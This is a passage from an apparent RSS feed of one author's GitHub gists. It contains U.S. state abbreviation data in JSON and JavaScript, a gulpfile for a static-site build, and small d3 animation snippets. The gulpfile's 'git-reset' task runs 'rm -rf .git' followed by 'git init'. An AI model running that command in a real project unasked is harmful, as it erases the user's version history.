        &quot;shortName&quot;: &quot;N.M.&quot;,
        &quot;num&quot;: 35
    },
    &quot;NM&quot;: {
        &quot;longName&quot;: &quot;New Mexico&quot;,
        &quot;abbr&quot;: &quot;NM&quot;,
        &quot;shortName&quot;: &quot;N.M.&quot;,
        &quot;num&quot;: 35
    },
    &quot;New York&quot;: {
        &quot;longName&quot;: &quot;New York&quot;,
        &quot;abbr&quot;: &quot;NY&quot;,
        &quot;shortName&quot;: &quot;N.Y.&quot;,
        &quot;num&quot;: 36
    },
    &quot;NY&quot;: {
        &quot;longName&quot;: &quot;New York&quot;,
        &quot;abbr&quot;: &quot;NY&quot;,
        &quot;shortName&quot;: &quot;N.Y.&quot;,
        &quot;num&quot;: 36
    },
    &quot;North Carolina&quot;: {
        &quot;longName&quot;: &quot;North Carolina&quot;,
        &quot;abbr&quot;: &quot;NC&quot;,
        &quot;shortName&quot;: &quot;N.C.&quot;,
        &quot;num&quot;: 37
    },
    &quot;NC&quot;: {
        &quot;longName&quot;: &quot;North Carolina&quot;,
        &quot;abbr&quot;: &quot;NC&quot;,
        &quot;shortName&quot;: &quot;N.C.&quot;,
        &quot;num&quot;: 37
    },
    &quot;North Dakota&quot;: {
        &quot;longName&quot;: &quot;North Dakota&quot;,
        &quot;abbr&quot;: &quot;ND&quot;,
        &quot;shortName&quot;: &quot;N.D.&quot;,
        &quot;num&quot;: 38
    },
    &quot;ND&quot;: {
        &quot;longName&quot;: &quot;North Dakota&quot;,
        &quot;abbr&quot;: &quot;ND&quot;,
        &quot;shortName&quot;: &quot;N.D.&quot;,
        &quot;num&quot;: 38
    },
    &quot;Ohio&quot;: {
        &quot;longName&quot;: &quot;Ohio&quot;,
        &quot;abbr&quot;: &quot;OH&quot;,
        &quot;shortName&quot;: &quot;Ohio&quot;,
        &quot;num&quot;: 39
    },
    &quot;OH&quot;: {
        &quot;longName&quot;: &quot;Ohio&quot;,
        &quot;abbr&quot;: &quot;OH&quot;,
        &quot;shortName&quot;: &quot;Ohio&quot;,
        &quot;num&quot;: 39
    },
    &quot;Oklahoma&quot;: {
        &quot;longName&quot;: &quot;Oklahoma&quot;,
        &quot;abbr&quot;: &quot;OK&quot;,
        &quot;shortName&quot;: &quot;Okla.&quot;,
        &quot;num&quot;: 40
    },
    &quot;OK&quot;: {
        &quot;longName&quot;: &quot;Oklahoma&quot;,
        &quot;abbr&quot;: &quot;OK&quot;,
        &quot;shortName&quot;: &quot;Okla.&quot;,
        &quot;num&quot;: 40
    },
    &quot;Oregon&quot;: {
        &quot;longName&quot;: &quot;Oregon&quot;,
        &quot;abbr&quot;: &quot;OR&quot;,
        &quot;shortName&quot;: &quot;Ore.&quot;,
        &quot;num&quot;: 41
    },
    &quot;OR&quot;: {
        &quot;longName&quot;: &quot;Oregon&quot;,
        &quot;abbr&quot;: &quot;OR&quot;,
        &quot;shortName&quot;: &quot;Ore.&quot;,
        &quot;num&quot;: 41
    },
    &quot;Pennsylvania&quot;: {
        &quot;longName&quot;: &quot;Pennsylvania&quot;,
        &quot;abbr&quot;: &quot;PA&quot;,
        &quot;shortName&quot;: &quot;Pa.&quot;,
        &quot;num&quot;: 42
    },
    &quot;PA&quot;: {
        &quot;longName&quot;: &quot;Pennsylvania&quot;,
        &quot;abbr&quot;: &quot;PA&quot;,
        &quot;shortName&quot;: &quot;Pa.&quot;,
        &quot;num&quot;: 42
    },
    &quot;Rhode Island&quot;: {
        &quot;longName&quot;: &quot;Rhode Island&quot;,
        &quot;abbr&quot;: &quot;RI&quot;,
        &quot;shortName&quot;: &quot;R.I.&quot;,
        &quot;num&quot;: 44
    },
    &quot;RI&quot;: {
        &quot;longName&quot;: &quot;Rhode Island&quot;,
        &quot;abbr&quot;: &quot;RI&quot;,
        &quot;shortName&quot;: &quot;R.I.&quot;,
        &quot;num&quot;: 44
    },
    &quot;South Carolina&quot;: {
        &quot;longName&quot;: &quot;South Carolina&quot;,
        &quot;abbr&quot;: &quot;SC&quot;,
        &quot;shortName&quot;: &quot;S.C.&quot;,
        &quot;num&quot;: 45
    },
    &quot;SC&quot;: {
        &quot;longName&quot;: &quot;South Carolina&quot;,
        &quot;abbr&quot;: &quot;SC&quot;,
        &quot;shortName&quot;: &quot;S.C.&quot;,
        &quot;num&quot;: 45
    },
    &quot;South Dakota&quot;: {
        &quot;longName&quot;: &quot;South Dakota&quot;,
        &quot;abbr&quot;: &quot;SD&quot;,
        &quot;shortName&quot;: &quot;S.D.&quot;,
        &quot;num&quot;: 46
    },
    &quot;SD&quot;: {
        &quot;longName&quot;: &quot;South Dakota&quot;,
        &quot;abbr&quot;: &quot;SD&quot;,
        &quot;shortName&quot;: &quot;S.D.&quot;,
        &quot;num&quot;: 46
    },
    &quot;Tennessee&quot;: {
        &quot;longName&quot;: &quot;Tennessee&quot;,
        &quot;abbr&quot;: &quot;TN&quot;,
        &quot;shortName&quot;: &quot;Tenn.&quot;,
        &quot;num&quot;: 47
    },
    &quot;TN&quot;: {
        &quot;longName&quot;: &quot;Tennessee&quot;,
        &quot;abbr&quot;: &quot;TN&quot;,
        &quot;shortName&quot;: &quot;Tenn.&quot;,
        &quot;num&quot;: 47
    },
    &quot;Texas&quot;: {
        &quot;longName&quot;: &quot;Texas&quot;,
        &quot;abbr&quot;: &quot;TX&quot;,
        &quot;shortName&quot;: &quot;Texas&quot;,
        &quot;num&quot;: 48
    },
    &quot;TX&quot;: {
        &quot;longName&quot;: &quot;Texas&quot;,
        &quot;abbr&quot;: &quot;TX&quot;,
        &quot;shortName&quot;: &quot;Texas&quot;,
        &quot;num&quot;: 48
    },
    &quot;Utah&quot;: {
        &quot;longName&quot;: &quot;Utah&quot;,
        &quot;abbr&quot;: &quot;UT&quot;,
        &quot;shortName&quot;: &quot;Utah&quot;,
        &quot;num&quot;: 49
    },
    &quot;UT&quot;: {
        &quot;longName&quot;: &quot;Utah&quot;,
        &quot;abbr&quot;: &quot;UT&quot;,
        &quot;shortName&quot;: &quot;Utah&quot;,
        &quot;num&quot;: 49
    },
    &quot;Vermont&quot;: {
        &quot;longName&quot;: &quot;Vermont&quot;,
        &quot;abbr&quot;: &quot;VT&quot;,
        &quot;shortName&quot;: &quot;Vt.&quot;,
        &quot;num&quot;: 50
    },
    &quot;VT&quot;: {
        &quot;longName&quot;: &quot;Vermont&quot;,
        &quot;abbr&quot;: &quot;VT&quot;,
        &quot;shortName&quot;: &quot;Vt.&quot;,
        &quot;num&quot;: 50
    },
    &quot;Virginia&quot;: {
        &quot;longName&quot;: &quot;Virginia&quot;,
        &quot;abbr&quot;: &quot;VA&quot;,
        &quot;shortName&quot;: &quot;Va.&quot;,
        &quot;num&quot;: 51
    },
    &quot;VA&quot;: {
        &quot;longName&quot;: &quot;Virginia&quot;,
        &quot;abbr&quot;: &quot;VA&quot;,
        &quot;shortName&quot;: &quot;Va.&quot;,
        &quot;num&quot;: 51
    },
    &quot;Washington&quot;: {
        &quot;longName&quot;: &quot;Washington&quot;,
        &quot;abbr&quot;: &quot;WA&quot;,
        &quot;shortName&quot;: &quot;Wash.&quot;,
        &quot;num&quot;: 53
    },
    &quot;WA&quot;: {
        &quot;longName&quot;: &quot;Washington&quot;,
        &quot;abbr&quot;: &quot;WA&quot;,
        &quot;shortName&quot;: &quot;Wash.&quot;,
        &quot;num&quot;: 53
    },
    &quot;West Virginia&quot;: {
        &quot;longName&quot;: &quot;West Virginia&quot;,
        &quot;abbr&quot;: &quot;WV&quot;,
        &quot;shortName&quot;: &quot;W.Va.&quot;,
        &quot;num&quot;: 54
    },
    &quot;WV&quot;: {
        &quot;longName&quot;: &quot;West Virginia&quot;,
        &quot;abbr&quot;: &quot;WV&quot;,
        &quot;shortName&quot;: &quot;W.Va.&quot;,
        &quot;num&quot;: 54
    },
    &quot;Wisconsin&quot;: {
        &quot;longName&quot;: &quot;Wisconsin&quot;,
        &quot;abbr&quot;: &quot;WI&quot;,
        &quot;shortName&quot;: &quot;Wis.&quot;,
        &quot;num&quot;: 55
    },
    &quot;WI&quot;: {
        &quot;longName&quot;: &quot;Wisconsin&quot;,
        &quot;abbr&quot;: &quot;WI&quot;,
        &quot;shortName&quot;: &quot;Wis.&quot;,
        &quot;num&quot;: 55
    },
    &quot;Wyoming&quot;: {
        &quot;longName&quot;: &quot;Wyoming&quot;,
        &quot;abbr&quot;: &quot;WY&quot;,
        &quot;shortName&quot;: &quot;Wyo.&quot;,
        &quot;num&quot;: 56
    },
    &quot;WY&quot;: {
        &quot;longName&quot;: &quot;Wyoming&quot;,
        &quot;abbr&quot;: &quot;WY&quot;,
        &quot;shortName&quot;: &quot;Wyo.&quot;,
        &quot;num&quot;: 56
    },
    &quot;Puerto Rico&quot;: {
        &quot;longName&quot;: &quot;Puerto Rico&quot;,
        &quot;abbr&quot;: &quot;PR&quot;,
        &quot;shortName&quot;: &quot;P.R.&quot;,
        &quot;num&quot;: 72
    },
    &quot;PR&quot;: {
        &quot;longName&quot;: &quot;Puerto Rico&quot;,
        &quot;abbr&quot;: &quot;PR&quot;,
        &quot;shortName&quot;: &quot;P.R.&quot;,
        &quot;num&quot;: 72
    },
    &quot;Virgin Islands&quot;: {
        &quot;longName&quot;: &quot;Virgin Islands&quot;,
        &quot;abbr&quot;: &quot;VI&quot;,
        &quot;shortName&quot;: &quot;V.I.&quot;,
        &quot;num&quot;: 78
    },
    &quot;VI&quot;: {
        &quot;longName&quot;: &quot;Virgin Islands&quot;,
        &quot;abbr&quot;: &quot;VI&quot;,
        &quot;shortName&quot;: &quot;V.I.&quot;,
        &quot;num&quot;: 78
    },
    &quot;Guam&quot;: {
        &quot;longName&quot;: &quot;Guam&quot;,
        &quot;abbr&quot;: &quot;GU&quot;,
        &quot;shortName&quot;: &quot;Guam&quot;,
        &quot;num&quot;: 66
    },
    &quot;GU&quot;: {
        &quot;longName&quot;: &quot;Guam&quot;,
        &quot;abbr&quot;: &quot;GU&quot;,
        &quot;shortName&quot;: &quot;Guam&quot;,
        &quot;num&quot;: 66
    },
    &quot;American Samoa&quot;: {
        &quot;longName&quot;: &quot;American Samoa&quot;,
        &quot;abbr&quot;: &quot;AS&quot;,
        &quot;shortName&quot;: &quot;A.S.&quot;,
        &quot;num&quot;: 60
    },
    &quot;AS&quot;: {
        &quot;longName&quot;: &quot;American Samoa&quot;,
        &quot;abbr&quot;: &quot;AS&quot;,
        &quot;shortName&quot;: &quot;A.S.&quot;,
        &quot;num&quot;: 60
    },
    &quot;Northern Mariana Islands&quot;: {
        &quot;longName&quot;: &quot;Northern Mariana Islands&quot;,
        &quot;abbr&quot;: &quot;MP&quot;,
        &quot;shortName&quot;: &quot;M.P.&quot;,
        &quot;num&quot;: 69
    },
    &quot;MP&quot;: {
        &quot;longName&quot;: &quot;Northern Mariana Islands&quot;,
        &quot;abbr&quot;: &quot;MP&quot;,
        &quot;shortName&quot;: &quot;M.P.&quot;,
        &quot;num&quot;: 69
    }
}</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[AP Style state names and abbreviations]]></title>
      <link>https://gist.github.com/1c8cb3f5d1a21bda6a1b</link>
      <guid isPermaLink="true">https://gist.github.com/1c8cb3f5d1a21bda6a1b</guid>
      <pubDate>Tue, 30 Dec 2014 17:41:50 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-08-29T14:12:29.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>gistfile1.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>2257</code:size>
      </code:file>
      <description><![CDATA[AP Style state names and abbreviations]]></description>
      <content:encoded><![CDATA[<h3>gistfile1.js</h3><pre><code class="language-javascript"> STATES = [
      [&quot;Alabama&quot;, &quot;AL&quot;, &quot;Ala.&quot;, 1],
      [&apos;Alaska&apos;, &quot;AK&quot;, &quot;Alaska&quot;, 2],
      [&quot;Arizona&quot;, &quot;AZ&quot;, &quot;Ariz.&quot;, 4], 
      [&quot;Arkansas&quot;, &apos;AR&apos;, &quot;Ark.&quot;, 5], 
      [&quot;California&quot;, &quot;CA&quot;, &quot;Calif.&quot;, 6], 
      [&quot;Colorado&quot;, &quot;CO&quot;, &quot;Colo.&quot;, 8], 
      [&quot;Connecticut&quot;, &quot;CT&quot;, &quot;Conn.&quot;, 9], 
      [&quot;Delaware&quot;, &quot;DE&quot;, &quot;Del.&quot;, &quot;10&quot;], 
      [&quot;District of Columbia&quot;, &quot;DC&quot;, &quot;D.C.&quot;, 11], 
      [&quot;Florida&quot;, &quot;FL&quot;, &quot;Fla.&quot;, 12], 
      [&quot;Georgia&quot;, &quot;GA&quot;, &quot;Ga.&quot;, 13], 
      [&quot;Hawaii&quot;, &quot;HI&quot;, &quot;Hawaii&quot;, 15], 
      [&quot;Idaho&quot;, &apos;ID&apos;, &quot;Idaho&quot;, 16], 
      [&quot;Illinois&quot;, &quot;IL&quot;, &quot;Ill.&quot;, 17], 
      [&quot;Indiana&quot;, &quot;IN&quot;, &quot;Ind.&quot;, 18], 
      [&quot;Iowa&quot;, &quot;IA&quot;, &quot;Iowa&quot;, 19], 
      [&quot;Kansas&quot;, &quot;KS&quot;, &quot;Kan.&quot;, 20], 
      [&quot;Kentucky&quot;, &quot;KY&quot;, &quot;Ky.&quot;, 21], 
      [&quot;Louisiana&quot;, &quot;LA&quot;, &quot;La.&quot;, 22], 
      [&quot;Maine&quot;, &quot;ME&quot;, &quot;Maine&quot;, 23], 
      [&quot;Maryland&quot;, &quot;MD&quot;, &quot;Md.&quot;, 24], 
      [&quot;Massachusetts&quot;, &quot;MA&quot;, &quot;Mass.&quot;, 25], 
      [&quot;Michigan&quot;, &quot;MI&quot;, &quot;Mich.&quot;, 26], 
      [&quot;Minnesota&quot;, &quot;MN&quot;, &quot;Minn.&quot;, 27], 
      [&quot;Mississippi&quot;, &quot;MS&quot;, &quot;Miss.&quot;, 28], 
      [&quot;Missouri&quot;, &quot;MO&quot;, &quot;Mo.&quot;, 29], 
      [&quot;Montana&quot;, &quot;MT&quot;, &quot;Mont.&quot;, 30], 
      [&quot;Nebraska&quot;, &quot;NE&quot;, &quot;Neb.&quot;, 31], 
      [&quot;Nevada&quot;, &quot;NV&quot;, &quot;Nev.&quot;, 32], 
      [&quot;New Hampshire&quot;, &quot;NH&quot;, &quot;N.H.&quot;, 33], 
      [&quot;New Jersey&quot;, &quot;NJ&quot;, &quot;N.J.&quot;, 34], 
      [&quot;New Mexico&quot;, &quot;NM&quot;, &quot;N.M.&quot;, 35], 
      [&quot;New York&quot;, &quot;NY&quot;, &quot;N.Y.&quot;, 36], 
      [&quot;North Carolina&quot;, &quot;NC&quot;, &quot;N.C.&quot;, 37], 
      [&quot;North Dakota&quot;, &quot;ND&quot;, &quot;N.D.&quot;, 38], 
      [&quot;Ohio&quot;, &quot;OH&quot;, &quot;Ohio&quot;, 39], 
      [&quot;Oklahoma&quot;, &quot;OK&quot;, &quot;Okla.&quot;, 40], 
      [&quot;Oregon&quot;, &quot;OR&quot;, &quot;Ore.&quot;, 41], 
      [&quot;Pennsylvania&quot;, &quot;PA&quot;, &quot;Pa.&quot;, 42],
      [&quot;Rhode Island&quot;, &quot;RI&quot;, &quot;R.I.&quot;, 44], 
      [&quot;South Carolina&quot;, &quot;SC&quot;, &quot;S.C.&quot;, 45], 
      [&quot;South Dakota&quot;, &quot;SD&quot;, &quot;S.D.&quot;, 46], 
      [&quot;Tennessee&quot;, &quot;TN&quot;, &quot;Tenn.&quot;, 47], 
      [&quot;Texas&quot;, &quot;TX&quot;, &quot;Texas&quot;, 48], 
      [&quot;Utah&quot;, &quot;UT&quot;, &quot;Utah&quot;, 49], 
      [&quot;Vermont&quot;, &quot;VT&quot;, &quot;Vt.&quot;, 50], 
      [&quot;Virginia&quot;, &quot;VA&quot;, &quot;Va.&quot;, 51],
      [&quot;Washington&quot;, &quot;WA&quot;, &quot;Wash.&quot;, 53],
      [&quot;West Virginia&quot;, &quot;WV&quot;, &quot;W.Va.&quot;, 54], 
      [&quot;Wisconsin&quot;, &quot;WI&quot;, &quot;Wis.&quot;, 55], 
      [&quot;Wyoming&quot;, &quot;WY&quot;, &quot;Wyo.&quot;, 56],
      [&quot;Puerto Rico&quot;,   &quot;PR&quot;,   &quot;P.R.&quot;, 72],
      [&quot;Virgin Islands&quot;, &quot;VI&quot;, &quot;V.I.&quot;, 78],
      [&quot;Guam&quot;, &quot;GU&quot;,&quot;Guam&quot;, 66],
      [&quot;American Samoa&quot;,&quot;AS&quot;,&quot;A.S.&quot;,60],
      [&quot;Northern Mariana Islands&quot;,&quot;MP&quot;, &quot;M.P.&quot;, 69]
    ]</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[gulpfile.coffee]]></title>
      <link>https://gist.github.com/8e47e830b644a35419d7</link>
      <guid isPermaLink="true">https://gist.github.com/8e47e830b644a35419d7</guid>
      <pubDate>Thu, 13 Nov 2014 15:25:56 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-08-29T14:09:28.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>gulpfile.coffee</code:filename>
        <code:language>CoffeeScript</code:language>
        <code:size>2744</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>gulpfile.coffee</h3><pre><code class="language-coffeescript">&quot;use strict&quot;
gulp = require(&quot;gulp&quot;)

# plugins
coffeelint    = require(&quot;gulp-coffeelint&quot;)
stylus        = require(&quot;gulp-stylus&quot;)
coffee        = require(&quot;gulp-coffee&quot;)
concat        = require(&quot;gulp-concat&quot;)
uglify        = require(&quot;gulp-uglify&quot;)
rename        = require(&quot;gulp-rename&quot;)
webserver     = require(&quot;gulp-webserver&quot;)
mincss        = require(&quot;gulp-minify-css&quot;)
util          = require(&quot;gulp-util&quot;)
filesize      = require(&quot;gulp-filesize&quot;)
mustache      = require(&quot;gulp-mustache-plus&quot;)
nib           = require(&quot;nib&quot;)
github        = require(&quot;gulp-gh-pages&quot;)
s3            = require(&quot;gulp-s3&quot;)
gulpif        = require(&quot;gulp-if&quot;)
gzip          = require(&quot;gulp-gzip&quot;)
htmlmin       = require(&quot;gulp-htmlmin&quot;)
watch         = require(&quot;gulp-watch&quot;)
shell         = require(&quot;gulp-shell&quot;)

# options
options = require(&quot;./options&quot;)

# tasks
gulp.task &quot;lint&quot;, -&gt;
  gulp.src(&quot;./coffee/*.coffee&quot;)
  .pipe coffeelint()
  .pipe coffeelint.reporter()

gulp.task &quot;coffee&quot;, [&quot;lint&quot;], -&gt;
  gulp.src(&quot;./coffee/*.coffee&quot;)
  .pipe coffee(bare: true)
  .pipe uglify()
  .pipe filesize()
  .pipe gulp.dest(&quot;./build/&quot;)

gulp.task &quot;stylus&quot;, -&gt;
  gulp.src(&quot;./stylus/style.styl&quot;)
  .pipe stylus(use: [nib()])
  .pipe mincss(keepBreaks: true)
  .pipe filesize()
  .pipe gulp.dest(&quot;./build/&quot;)

gulp.task &quot;mustache&quot;, -&gt;
  gulp.src([&quot;./mustache/*.mustache&quot;]).pipe(mustache(options, {},
    header: &quot;./mustache/partials/header.mustache&quot;
    body: &quot;./mustache/partials/body.mustache&quot;
    footer: &quot;./mustache/partials/footer.mustache&quot;
  ))
  .pipe(rename(extname: &quot;.html&quot;)).pipe(htmlmin(
    collapseWhitespace: true
    collapseBooleanAttributes: true
    removeAttributeQuotes: true
    removeScriptTypeAttributes: true
    removeStyleLinkTypeAttributes: true
    minifyJS: true
    minifyCSS: true
  ))
  .pipe gulp.dest(&quot;./build/&quot;)

gulp.task &quot;js&quot;, -&gt;
  gulp.src(&quot;./javascript/*.js&quot;)
  .pipe concat(&quot;lib.js&quot;)
  .pipe uglify()
  .pipe filesize()
  .pipe gulp.dest(&quot;./build/&quot;)

gulp.task &quot;data&quot;, -&gt;
  gulp.src(&quot;./data/*.csv&quot;, &quot;./data/*.json&quot;)
  .pipe filesize()
  .pipe gulp.dest(&quot;./build/data/&quot;)

gulp.task &quot;watch&quot;, -&gt;
  watch &quot;coffee/*.coffee&quot;, {name: &apos;Coffee&apos;}, (events, done) -&gt;
    gulp.start &quot;coffee&quot; , done
  watch &quot;stylus/*.styl&quot;, [&quot;stylus&quot;]
  watch [ &quot;mustache/*&quot;, &quot;mustache/partials/*&quot; ], [&quot;mustache&quot;]
  watch &quot;javascript/*&quot;, [&quot;js&quot;]

gulp.task &apos;git-reset&apos;, shell.task([
  &apos;rm -rf .git&apos;,
  &apos;git init&apos;
])

gulp.task &quot;webserver&quot;, -&gt;
  gulp.src(&quot;./build/&quot;).pipe webserver(
    host: options.website.host
    port: options.website.port
    fallback: &quot;build/index.html&quot;
    livereload: true
    directoryListing: false
  )

gulp.task &quot;default&quot;, [
  &quot;coffee&quot;
  &quot;stylus&quot;
  &quot;js&quot;
  &quot;mustache&quot;
  &quot;data&quot;
  &quot;webserver&quot;
  &quot;watch&quot;
], -&gt; gulp

gulp.task &quot;deploy&quot;, [&quot;deploy&quot;]</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[animating circle scale]]></title>
      <link>https://gist.github.com/cc47b7ab33c070edfbcb</link>
      <guid isPermaLink="true">https://gist.github.com/cc47b7ab33c070edfbcb</guid>
      <pubDate>Wed, 11 Jun 2014 20:36:30 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-08-29T14:02:27.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>_.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>129</code:size>
      </code:file>
      <code:file>
        <code:filename>config.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>611</code:size>
      </code:file>
      <code:file>
        <code:filename>inlet.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>465</code:size>
      </code:file>
      <description><![CDATA[animating circle scale]]></description>
      <content:encoded><![CDATA[<h3>_.md</h3><pre><code class="language-markdown">[ &lt;a href=&quot;http://tributary.io/inlet/cc47b7ab33c070edfbcb&quot;&gt;Launch: animating circle scale&lt;/a&gt; ] cc47b7ab33c070edfbcb by ejfox&lt;br&gt;</code></pre>
<h3>config.json</h3><pre><code class="language-json">{&quot;description&quot;:&quot;animating circle scale&quot;,&quot;endpoint&quot;:&quot;&quot;,&quot;display&quot;:&quot;svg&quot;,&quot;public&quot;:true,&quot;require&quot;:[],&quot;fileconfigs&quot;:{&quot;inlet.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;_.md&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;config.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12}},&quot;play&quot;:true,&quot;loop&quot;:true,&quot;restart&quot;:false,&quot;autoinit&quot;:true,&quot;pause&quot;:true,&quot;loop_type&quot;:&quot;period&quot;,&quot;bv&quot;:false,&quot;nclones&quot;:15,&quot;clone_opacity&quot;:0.4,&quot;duration&quot;:3000,&quot;ease&quot;:&quot;linear&quot;,&quot;dt&quot;:0.01,&quot;tab&quot;:&quot;edit&quot;,&quot;display_percent&quot;:0.7,&quot;thumbnail&quot;:&quot;http://i.imgur.com/Z4ghHZY.png&quot;,&quot;fullscreen&quot;:false,&quot;ajax-caching&quot;:true}</code></pre>
<h3>inlet.js</h3><pre><code class="language-javascript">var svg = d3.select(&quot;svg&quot;)

var g = svg.append(&quot;g&quot;)
.attr(&quot;transform&quot;, &quot;scale(&quot;+tributary.anim(0.1, 1)+&quot;) translate(100,100) &quot;)

tributary.duration = 4000;
tributary.delay = 80;

radius = 200;

g.append(&quot;circle&quot;)
.attr({
  r: radius,
  cx: radius,
  cy: radius,
  fill: &quot;#3BA360&quot;
});

g.append(&quot;text&quot;)
.text(&quot;Hello world!&quot;)
.attr({
  fill: &quot;#000&quot;,
  x: radius,
  y: radius,
  &apos;transform-origin&apos;: &apos;200,200&apos;
})
.style({
  &apos;font-size&apos;: 42,
  &apos;text-anchor&apos;: &apos;middle&apos;
})</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[animated stroke]]></title>
      <link>https://gist.github.com/7493842</link>
      <guid isPermaLink="true">https://gist.github.com/7493842</guid>
      <pubDate>Fri, 15 Nov 2013 23:56:03 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-12-28T11:29:10.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>_.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>301</code:size>
      </code:file>
      <code:file>
        <code:filename>config.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>812</code:size>
      </code:file>
      <code:file>
        <code:filename>fake_data.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>206</code:size>
      </code:file>
      <code:file>
        <code:filename>inlet.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1153</code:size>
      </code:file>
      <description><![CDATA[animated stroke]]></description>
      <content:encoded><![CDATA[<h3>_.md</h3><pre><code class="language-markdown">[ &lt;a href=&quot;http://tributary.io/inlet/7493842&quot;&gt;Launch: animated stroke&lt;/a&gt; ] 7493842 by ejfox&lt;br&gt;[ &lt;a href=&quot;http://tributary.io/inlet/7493589&quot;&gt;Launch: animated stroke&lt;/a&gt; ] 7493589 by ejfox&lt;br&gt;&lt;br /&gt; [See Previous Inlet](http://enjalot.com/tributary/2958568) [ [Gist](https://gist.github.com/2958568) ]</code></pre>
<h3>config.json</h3><pre><code class="language-json">{&quot;editor_editor&quot;:{&quot;coffee&quot;:false,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;width&quot;:600,&quot;height&quot;:300,&quot;hide&quot;:false},&quot;description&quot;:&quot;animated stroke&quot;,&quot;endpoint&quot;:&quot;&quot;,&quot;display&quot;:&quot;svg&quot;,&quot;public&quot;:true,&quot;require&quot;:[],&quot;fileconfigs&quot;:{&quot;_.md&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;config.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;inlet.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;inlet.svg&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;fake_data.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12}},&quot;fullscreen&quot;:false,&quot;play&quot;:true,&quot;loop&quot;:true,&quot;restart&quot;:false,&quot;autoinit&quot;:true,&quot;pause&quot;:true,&quot;loop_type&quot;:&quot;period&quot;,&quot;bv&quot;:false,&quot;nclones&quot;:15,&quot;clone_opacity&quot;:0.4,&quot;duration&quot;:3000,&quot;ease&quot;:&quot;linear&quot;,&quot;dt&quot;:0.01,&quot;thumbnail&quot;:&quot;http://i.imgur.com/SKuNVhI.png&quot;,&quot;inline-console&quot;:false}</code></pre>
<h3>fake_data.json</h3><pre><code class="language-json">[0.9645322873257101,4.285244771745056,9.174702819436789,5.83910655695945,2.2934767650440335,8.156424039043486,7.9742879793047905,0.45211459044367075,5.409927302971482,0.27333585312590003,6.181703838519752]
</code></pre>
<h3>inlet.js</h3><pre><code class="language-javascript">var svg = d3.select(&quot;svg&quot;)
  .append(&quot;svg:g&quot;)

var w = tributary.sw;
var h = 300;

var svg = svg
.attr(&quot;width&quot;, w)
.attr(&quot;height&quot;, h)
.attr(&quot;id&quot;, &quot;visualization&quot;)
.attr(&quot;xmlns&quot;, &quot;http://www.w3.org/2000/svg&quot;);

//var data = d3.range(11).map(function(){return Math.random()*10})
data = tributary.fake_data

var x = d3.scale.linear().domain([0, 10]).range([0, 700]);
var y = d3.scale.linear().domain([0, 10]).range([10, 290]);
var line = d3.svg.line()
.interpolate(&quot;cardinal&quot;)
.x(function(d,i) {return x(i);})
.y(function(d) {return y(d);})

var path = svg.append(&quot;path&quot;)
.attr(&quot;d&quot;, line(data))
.attr(&quot;stroke&quot;, &quot;steelblue&quot;)
.attr(&quot;stroke-width&quot;, &quot;2&quot;)
.attr(&quot;fill&quot;, &quot;none&quot;);

var totalLength = path.node().getTotalLength();

path
.attr(&quot;stroke-dasharray&quot;, totalLength + &quot; &quot; + totalLength)
.attr(&quot;stroke-dashoffset&quot;, totalLength)
/*
.transition()
  .duration(2000)
  .ease(&quot;linear&quot;)
  .attr(&quot;stroke-dashoffset&quot;, 0);
*/


function updatePath(progress) {
 path
  .attr(&quot;stroke-dasharray&quot;, totalLength + &quot; &quot; + totalLength)
  .attr(&quot;stroke-dashoffset&quot;, totalLength - (totalLength * progress))
}


tributary.loop_type=&apos;pingpong&apos;;
updatePath(tributary.anim(0,1))

</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[animated stroke]]></title>
      <link>https://gist.github.com/7493589</link>
      <guid isPermaLink="true">https://gist.github.com/7493589</guid>
      <pubDate>Fri, 15 Nov 2013 23:36:30 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-12-28T11:29:08.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>_.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>205</code:size>
      </code:file>
      <code:file>
        <code:filename>config.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>813</code:size>
      </code:file>
      <code:file>
        <code:filename>fake_data.json</code:filename>
